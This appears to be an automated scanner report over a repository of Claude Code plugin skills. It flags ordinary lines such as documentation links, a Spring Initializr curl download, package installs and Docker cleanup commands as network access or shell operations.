- [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
harness/claude-code/plugins/go-to-market/skills/gtm-operating-cadence/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 263
- [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 264
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/plugins/go-to-market/skills/gtm-partnership-architecture/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 161
- [Original technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 162
- [Author profile](https://linkedin.com/in/smitkpatel)
harness/claude-code/plugins/go-to-market/skills/gtm-positioning-strategy/SKILL.md
- Network accessline 9
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 11
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 12
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 204
- [Source repository](https://github.com/beingsmit/technical-product-gtm) - Network accessline 205
- [Author profile](https://linkedin.com/in/smitkpatel)
harness/claude-code/plugins/go-to-market/skills/gtm-product-led-growth/SKILL.md
- Network accessline 9
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 10
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 11
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 12
source: "https://github.com/beingsmit/technical-product-gtm"
harness/claude-code/plugins/go-to-market/skills/gtm-technical-product-pricing/SKILL.md
- Network accessline 8
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 9
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 10
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 11
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 199
- [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 200
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/claude-code/plugins/go-to-market/skills/landing-page-conversion-audit/SKILL.md
- Network accessline 99
If the user wants those built rather than diagnosed, Autonnel is an Apache-2.0 self-hosted funnel builder that supports landing → checkout → one-click upsell → thank-you, click IDs, and server-side postbacks to Facebook, TikTok, Google, and - Network accessline 104
docker compose up # open http://localhost:4321 and complete /setup - Network accessline 105
# open http://localhost:4321 and complete /setup - Network accessline 143
- [Autonnel](https://github.com/autonnel/autonnel) - Network accessline 144
- [Local Autonnel setup endpoint](http://localhost:4321)
harness/claude-code/plugins/go-to-market/skills/server-side-conversion-tracking/SKILL.md
- Network accessline 93
[Autonnel](https://github.com/autonnel/autonnel) is Apache-2.0 and self-hosted. It implements capture, server-side funnel sessions, cross-domain carry, order attachment, queued server-side conversions to Facebook Conversions API, TikTok Eve - Network accessline 95
Get the repository from <https://github.com/autonnel/autonnel>, check out a release tag, and read its `docker-compose.yml` for images and ports. From that checkout: - Network accessline 98
docker compose up # open http://localhost:4321, complete /setup, then Settings → Ad platforms - Network accessline 99
# open http://localhost:4321, complete /setup, then Settings → Ad platforms - Network accessline 146
- [Autonnel](https://github.com/autonnel/autonnel)
harness/claude-code/plugins/incident-response/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/incident-response/skills/bug-receipt/SKILL.md
- Network accessline 116
- [Original bug-receipt repository](https://github.com/lMysticl/bug-receipt)
harness/claude-code/plugins/incident-response/skills/bug-receipt/references/receipt.schema.json
harness/claude-code/plugins/incident-response/skills/bug-receipt/scripts/validate-receipt.mjs
- Executable scriptline 1
Executable file
harness/claude-code/plugins/incident-response/skills/bug-reproduction-brief/SKILL.md
- Network accessline 116
- [AI agent skill preview workflow](https://github.com/skyestrela/ai-agent-skill-preview.)
harness/claude-code/plugins/incident-response/skills/impediment-prioritization/SKILL.md
- Network accessline 94
| Rank | Impediment | Countermeasure | ROI | Cost | Ease | Risk | Priority | Rationale | | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/o - Network accessline 95
| --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your - Network accessline 96
| 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-you - Network accessline 97
| 2 | Secret scanning disabled | Enable secret scanning + push protection org-wide ([docs](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)) | 8 | 3 | 7 | 3 | 25.0 | ROI: catches leaked creds pre-merge<br>Cost - Network accessline 98
| 3 | No CODEOWNERS on critical repos | Add CODEOWNERS to top-20 repos ([docs](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)) | 6 | 4 | 6 | 4 | 15.0 | - Network accessline 149
- [GitHub 2FA organization enforcement](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization) - Network accessline 150
- [GitHub secret scanning](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning) - Network accessline 151
- [GitHub CODEOWNERS](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)
harness/claude-code/plugins/iot-embedded-systems/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/SKILL.md
- Network accessline 28
- https://learn.microsoft.com/azure/iot-edge/ - Network accessline 32
- https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/ - Network accessline 33
- https://docs.arduino.cc/ - Network accessline 34
- https://docs.arduino.cc/language-reference/ - Network accessline 135
- [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/) - Network accessline 136
- [Arduino getting started](https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/) - Network accessline 137
- [Arduino documentation](https://docs.arduino.cc/) - Network accessline 138
- [Arduino language reference](https://docs.arduino.cc/language-reference/)
harness/claude-code/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/references/arduino-iot-checklist.md
harness/claude-code/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/references/arduino-official-best-practices.md
- Network accessline 7
- Arduino main guide: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> - Network accessline 8
- Arduino docs home: <https://docs.arduino.cc/> - Network accessline 9
- Getting started path: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> - Network accessline 10
- Arduino IDE usage: <https://docs.arduino.cc/learn/starting-guide/the-arduino-software-ide/> - Network accessline 11
- Arduino language reference: <https://docs.arduino.cc/language-reference/> - Network accessline 12
- Arduino programming reference overview: <https://docs.arduino.cc/learn/programming/reference/> - Network accessline 13
- Arduino memory guide: <https://docs.arduino.cc/learn/programming/memory-guide/> - Network accessline 14
- Arduino debugging fundamentals: <https://docs.arduino.cc/learn/microcontrollers/debugging/> - Network accessline 15
- Arduino low-power design guide: <https://docs.arduino.cc/learn/electronics/low-power/> - Network accessline 16
- Arduino communication protocols index: <https://docs.arduino.cc/learn/communication/uart/> - Network accessline 17
- Arduino style guide for libraries: <https://docs.arduino.cc/learn/contributions/arduino-library-style-guide/>
harness/claude-code/plugins/iot-embedded-systems/skills/azure-smart-city-iot-solution-builder/SKILL.md
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/28256-eeprom.md
- Network accessline 185
* <https://www.utmel.com/components/at28bv256-eeproms-pinout-equivalent-and-datasheet?id=1019> - Network accessline 186
* <https://www.futurlec.com/Memory/28C256.shtml> - Network accessline 187
* <https://ww1.microchip.com/downloads/en/DeviceDoc/doc0006.pdf> - Network accessline 188
* <https://bread80.com/2020/08/10/the-ben-eater-eeprom-programmer-28c256-and-software-data-protection/>
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/555.md
- Network accessline 3
[www.fairchildsemi.com](https://www.fairchildsemi.com)
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6502.md
- Network accessline 210
* <https://syncopate.us/books/Synertek6502ProgrammingManual.html> - Network accessline 211
* <https://en.wikipedia.org/wiki/MOS_Technology_6502> - Network accessline 212
* <https://web.archive.org/web/20061114024257/http://www.westerndesigncenter.com/wdc/documentation/Programmanual.pdf> - Network accessline 213
* Tutorial excerpts from <https://wilsonminesco.com/6502primer/> - Network accessline 214
* <https://wilsonminesco.com/6502primer/LogicFamilies.html> - Network accessline 215
* <https://wilsonminesco.com/6502primer/ClkGen.html> - Network accessline 216
* <https://wilsonminesco.com/6502primer/RSTreqs.html> - Network accessline 217
* <https://wilsonminesco.com/6502primer/displays.html> - Network accessline 218
* <https://wilsonminesco.com/6502primer/debug.html> - Network accessline 219
* <https://wilsonminesco.com/6502primer/potpourri.html>
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6522.md
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6C62256.md
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/7400-series.md
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/assembly-compiler.md
- Network accessline 248
* [MOS 6502 Programming Manual](http://archive.6502.org/datasheets/synertek_programming_manual.pdf) - Network accessline 249
* [MOS 6522 VIA Datasheet](http://archive.6502.org/datasheets/mos_6522_preliminary_nov_1977.pdf) - Network accessline 250
* [AT28C256 Datasheet](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf) - Network accessline 251
* [HD44780 LCD Datasheet](https://www.futurlec.com/LED/LCD16X2BLa.shtml) - Network accessline 252
* [cc65 Toolchain Docs](https://cc65.github.io/doc/cc65.html)
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/assembly-language.md
- Network accessline 217
* [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html) - Network accessline 218
* [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502) - Network accessline 219
* [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation) - Network accessline 220
* [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/breadboard.md
- Network accessline 206
* [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard) - Network accessline 207
* [https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard](https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard) - Network accessline 208
* [https://learn.adafruit.com/breadboards-for-beginners](https://learn.adafruit.com/breadboards-for-beginners)
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/common-breadboard-components.md
- Network accessline 50
* [https://en.wikipedia.org/wiki/Resistor](https://en.wikipedia.org/wiki/Resistor) - Network accessline 88
* [https://en.wikipedia.org/wiki/Capacitor](https://en.wikipedia.org/wiki/Capacitor) - Network accessline 112
* [https://en.wikipedia.org/wiki/Inductor](https://en.wikipedia.org/wiki/Inductor) - Network accessline 140
* [https://en.wikipedia.org/wiki/Diode](https://en.wikipedia.org/wiki/Diode) - Network accessline 164
* [https://en.wikipedia.org/wiki/Light-emitting_diode](https://en.wikipedia.org/wiki/Light-emitting_diode) - Network accessline 190
* [https://en.wikipedia.org/wiki/Transistor](https://en.wikipedia.org/wiki/Transistor) - Network accessline 209
* [https://en.wikipedia.org/wiki/Integrated_circuit](https://en.wikipedia.org/wiki/Integrated_circuit) - Network accessline 244
* [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard) - Network accessline 273
* [https://learn.sparkfun.com](https://learn.sparkfun.com) - Network accessline 274
* [https://www.allaboutcircuits.com](https://www.allaboutcircuits.com) - Network accessline 275
* [https://www.electronics-tutorials.ws](https://www.electronics-tutorials.ws) - Network accessline 276
* [https://en.wikipedia.org/wiki/Electronics](https://en.wikipedia.org/wiki/Electronics)
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-28256-eeprom.md
- Network accessline 231
* [AT28C256 Datasheet (Microchip)](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf) - Network accessline 232
* [Ben Eater 6502 Computer Series](https://eater.net/6502) - Network accessline 233
* <https://www.youtube.com/watch?v=oO8_2JJV0B4> - Network accessline 234
* [6502.org Memory Mapping Notes](https://6502.co.uk/lesson/memory-map)
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6502.md
- Network accessline 242
* [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html) - Network accessline 243
* [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502) - Network accessline 244
* [https://github.com/Klaus2m5/6502_65C02_functional_tests](https://github.com/Klaus2m5/6502_65C02_functional_tests) - Network accessline 245
* [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6522.md
- Network accessline 280
* [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation) - Network accessline 281
* [https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf](https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf) - Network accessline 282
* [https://www.nesdev.org/wiki/6522](https://www.nesdev.org/wiki/6522)
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6C62256.md
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-lcd.md
- Network accessline 252
* [HD44780U Datasheet (Hitachi)](https://academy.cba.mit.edu/classes/output_devices/44780.pdf) - Network accessline 253
* [Ben Eater LCD Interface Notes](https://hackaday.io/project/174128-db6502/log/181838-adventures-with-hd44780-lcd-controller) - Network accessline 254
* [Ben Eater's 6502 Computer](https://github.com/tedkotz/be6502) - Network accessline 255
* [Build a 6502 Computer](https://eater.net/6502)
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/lcd.md
- Network accessline 204
* <https://static6.arrow.com/aropdfconversion/1f68489996f057bb6611f71d5fdb5f60f44faa72/pgurl_58439499065092.pdf> - Network accessline 205
* <https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf> - Network accessline 206
* <https://predictabledesigns.com/introduction-embedded-electronic-displays/>
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/minipro.md
- Dangerous shell operationline 47
sudo apt install minipro - Network accessline 53
git clone https://github.com/vdudouyt/minipro.git - Dangerous shell operationline 55
sudo make install - Network accessline 205
* <https://gitlab.com/DavidGriffith/minipro> - Network accessline 206
* <https://www.hadex.cz/spec/m545b.pdf> - Network accessline 207
* <https://github.com/mikeroyal/Firmware-Guide> - Network accessline 208
* <https://mike42.me/blog/2021-08-a-first-look-at-programmable-logic> - Network accessline 209
* <https://retrocomputingforum.com/>
harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/t48eeprom-programmer.md
harness/claude-code/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/SKILL.md
- Network accessline 28
- https://learn.microsoft.com/azure/iot-edge/ - Network accessline 29
- https://learn.microsoft.com/es-es/azure/iot-edge/ - Network accessline 33
- https://www.python.org/ - Network accessline 34
- https://docs.python.org/3/ - Network accessline 35
- https://docs.python.org/3/reference/ - Network accessline 36
- https://docs.python.org/3/harness/github-copilot/ - Network accessline 139
- [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/) - Network accessline 140
- [Azure IoT Edge Spanish documentation](https://learn.microsoft.com/es-es/azure/iot-edge/) - Network accessline 141
- [Python](https://www.python.org/) - Network accessline 142
- [Python 3 documentation](https://docs.python.org/3/) - Network accessline 143
- [Python language reference](https://docs.python.org/3/reference/) - Network accessline 144
- [Python standard library](https://docs.python.org/3/harness/github-copilot/)
harness/claude-code/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/references/python-edge-module-template.md
harness/claude-code/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/references/python-official-best-practices.md
- Network accessline 7
- Python home: <https://www.python.org/> - Network accessline 8
- Python documentation portal: <https://docs.python.org/3/> - Network accessline 9
- Python tutorial: <https://docs.python.org/3/tutorial/> - Network accessline 10
- Python language reference: <https://docs.python.org/3/reference/> - Network accessline 11
- Python standard library reference: <https://docs.python.org/3/harness/github-copilot/> - Network accessline 12
- Python HOWTOs: <https://docs.python.org/3/howto/> - Network accessline 13
- Installing modules: <https://docs.python.org/3/installing/> - Network accessline 14
- Distributing modules: <https://docs.python.org/3/distributing/> - Network accessline 15
- PEP index: <https://peps.python.org/> - Network accessline 16
- PyPA packaging guide: <https://packaging.python.org/>
harness/claude-code/plugins/java-development/.claude-plugin/plugin.json
harness/claude-code/plugins/java-development/skills/create-spring-boot-java-project/SKILL.md
- Network accessline 41
curl https://start.spring.io/starter.zip -d artifactId=${input:projectName:demo-java} -d bootVersion=3.4.5 -d dependencies=lombok,configuration-processor,web,data-jpa,postgresql,data-redis,data-mongodb,validation,cache,testcontainers - Dangerous shell operationline 48
rm -f starter.zip - Dangerous shell operationline 112
docker-compose rm -sf - Dangerous shell operationline 115
The optional run commands are `docker-compose up -d`, `./mvnw spring-boot:run`, and `docker-compose rm -sf`.
harness/claude-code/plugins/java-kotlin-development/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/java-kotlin-development/skills/create-spring-boot-kotlin-project/SKILL.md
- Network accessline 31
1. Check Java with `java -version`. 2. Download the Spring Initializr archive from https://start.spring.io/starter.zip . - Network accessline 32
2. Download the Spring Initializr archive from https://start.spring.io/starter.zip . - Dangerous shell operationline 34
4. Remove `starter.zip` after extraction with `rm -f starter.zip`. - Network accessline 43
curl https://start.spring.io/starter.zip \ - Dangerous shell operationline 54
rm -f starter.zip - Dangerous shell operationline 120
docker-compose rm -sf - Dangerous shell operationline 133
The original `download-spring-boot-project-template` anchor maps to the Spring Initializr request in this skill. Preserve local service paths exactly: `./redis_data` maps to `/data`, `./postgres_data` maps to `/var/lib/postgresql/data`, and
harness/claude-code/plugins/java-kotlin-development/skills/java-add-graalvm-native-image-support/SKILL.md
- Network accessline 452
- [ ] The native executable was started and critical paths were tested after a successful build. ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - Network accessline 453
## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html) - Network accessline 454
- [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - Network accessline 455
- [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html) - Network accessline 456
- [Quarkus Building Native Images](https://quarkus.io/guides/building-native-image) - Network accessline 457
- [Micronaut GraalVM Support](https://docs.micronaut.io/latest/guide/index.html#graal) - Network accessline 458
- [GraalVM Reachability Metadata](https://github.com/oracle/graalvm-reachability-metadata) - Network accessline 459
- [Native Build Tools](https://graalvm.github.io/native-build-tools/latest/index.html)
harness/claude-code/plugins/java-kotlin-development/skills/javax-to-jakarta-migration/SKILL.md
- Network accessline 75
| `pom.xml` | `javax.validation:validation-api` | `jakarta.validation:jakarta.validation-api:3.0.2` | | `pom.xml` | `javax.annotation:javax.annotation-api` | `jakarta.annotation:jakarta.annotation-api:2.1.1` | | `web.xml` | `http://xmlns.jc - Network accessline 77
| `web.xml` | `http://xmlns.jcp.org/xml/ns/javaee` with `version="4.0"` on the `web-app` descriptor | `https://jakarta.ee/xml/ns/jakartaee` with `version="6.0"` on the `web-app` descriptor | - Network accessline 121
- [ ] Every migrated package appears in the migration map and no keep-list package was changed. - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `v - Network accessline 122
- [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - [ ] `mvn clean compile`, `./gradlew build`, or the re - Network accessline 123
- [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - Network accessline 129
- [Legacy Java EE web.xml namespace](http://xmlns.jcp.org/xml/ns/javaee) - Network accessline 130
- [Jakarta EE XML namespace](https://jakarta.ee/xml/ns/jakartaee)
harness/claude-code/plugins/java-kotlin-development/skills/spring-boot-testing/references/instancio.md
harness/claude-code/plugins/java-kotlin-development/skills/spring-boot-testing/references/restclienttest.md
- Network accessline 40
void shouldFetchWeather() { // Given server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 41
// Given server.expect(requestTo("https://api.weather.com/v1/current")) .andExpect(method(HttpMethod.GET)) - Network accessline 42
server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 71
@Test void shouldFetchWeatherWithRestClient() { server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 72
void shouldFetchWeatherWithRestClient() { server.expect(requestTo("https://api.weather.com/v1/current")) .andRespond(withSuccess() - Network accessline 73
server.expect(requestTo("https://api.weather.com/v1/current")) - Network accessline 89
server.expect(requestTo("https://api.example.com/users/1")) - Network accessline 96
server.expect(requestTo(matchesPattern("https://api.example.com/users/\\d+"))) - Network accessline 103
server.expect(ExpectedCount.once(), requestTo("https://api.example.com/users")) - Network accessline 104
requestTo("https://api.example.com/users")) - Network accessline 112
server.expect(requestTo("https://api.example.com/users")) - Network accessline 121
server.expect(requestTo("https://api.example.com/users")) - Network accessline 173
void shouldCallApi() { server.expect(ExpectedCount.once(), requestTo("https://api.example.com/data")) - Network accessline 174
server.expect(ExpectedCount.once(), requestTo("https://api.example.com/data")) .andRespond(withSuccess()); - Network accessline 175
requestTo("https://api.example.com/data"))
harness/claude-code/plugins/java-mcp-development/.claude-plugin/plugin.json
harness/claude-code/plugins/java-mcp-development/skills/java-mcp-server-generator/SKILL.md
- Network accessline 60
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/" - Network accessline 61
<project xmlns="http://maven.apache.org/" - Network accessline 62
"POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 - Network accessline 63
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - Network accessline 64
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 - Network accessline 65
https://maven.apache.org/xsd/maven-4.0.0.xsd">
harness/claude-code/plugins/java-modernization-studio/.claude-plugin/plugin.json
harness/claude-code/plugins/kotlin-mcp-development/.claude-plugin/plugin.json
harness/claude-code/plugins/learning-and-mentoring/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/learning-and-mentoring/skills/mentoring-juniors/SKILL.md
harness/claude-code/plugins/linux-operations/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "license": "MIT", - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/linux-operations/skills/debian-linux-triage/SKILL.md
- Dangerous shell operationline 31
| Package state | `apt-cache policy <package>`; `dpkg -l | grep '^..r'`; `sudo dpkg --audit` | Finds held, half-configured, removed-but-configured, and dependency-broken packages. | - Dangerous shell operationline 44
| Apt failure | `sudo apt update`; `sudo apt -f install`; `sudo dpkg --configure -a` after reading the error | Repository mismatch, held package, interrupted configure step. | - Dangerous shell operationline 54
| Interrupted package configuration | `sudo dpkg --configure -a`, then `sudo apt -f install` if dependencies remain broken. | Removing `/var/lib/dpkg/` metadata. | - Dangerous shell operationline 55
| Wrong or missing package | `sudo apt install --reinstall <package>` after checking `apt-cache policy`. | Installing random `.deb` files without source and dependency review. | - Dangerous shell operationline 56
| Held package blocks upgrade | `apt-mark showhold`; unhold only the intended package with `sudo apt-mark unhold <package>`. | Blanket unhold of all packages. |
harness/claude-code/plugins/mainframe-cobol-db2-classic/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "keywords": [ - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/claude-code/plugins/mainframe-cobol-db2-classic/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/claude-code/plugins/mainframe-cobol-db2/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "keywords": [ - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
harness/claude-code/plugins/mainframe-cobol-db2/skills/cobol-db2-loop/scripts/cobol_db2_graph.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/claude-code/plugins/mainframe-cobol-db2/skills/cobol-db2-loop/scripts/test_cobol_db2_graph.py
- Executable scriptline 1
Executable file
harness/claude-code/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit/scripts/install_workspace_kit.py
harness/claude-code/plugins/mainframe-cobol-db2/skills/modernization-workspace-kit/scripts/test_install_workspace_kit.py
harness/claude-code/plugins/mainframe-cobol-db2/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/claude-code/plugins/mainframe-natural-adabas-classic/.claude-plugin/plugin.json
- Network accessline 6
"name": "paulasilvatech" }, "repository": "https://github.com/paulasilvatech/copilot-primitives", - Network accessline 7
}, "repository": "https://github.com/paulasilvatech/copilot-primitives", "keywords": [ - Network accessline 8
"repository": "https://github.com/paulasilvatech/copilot-primitives",
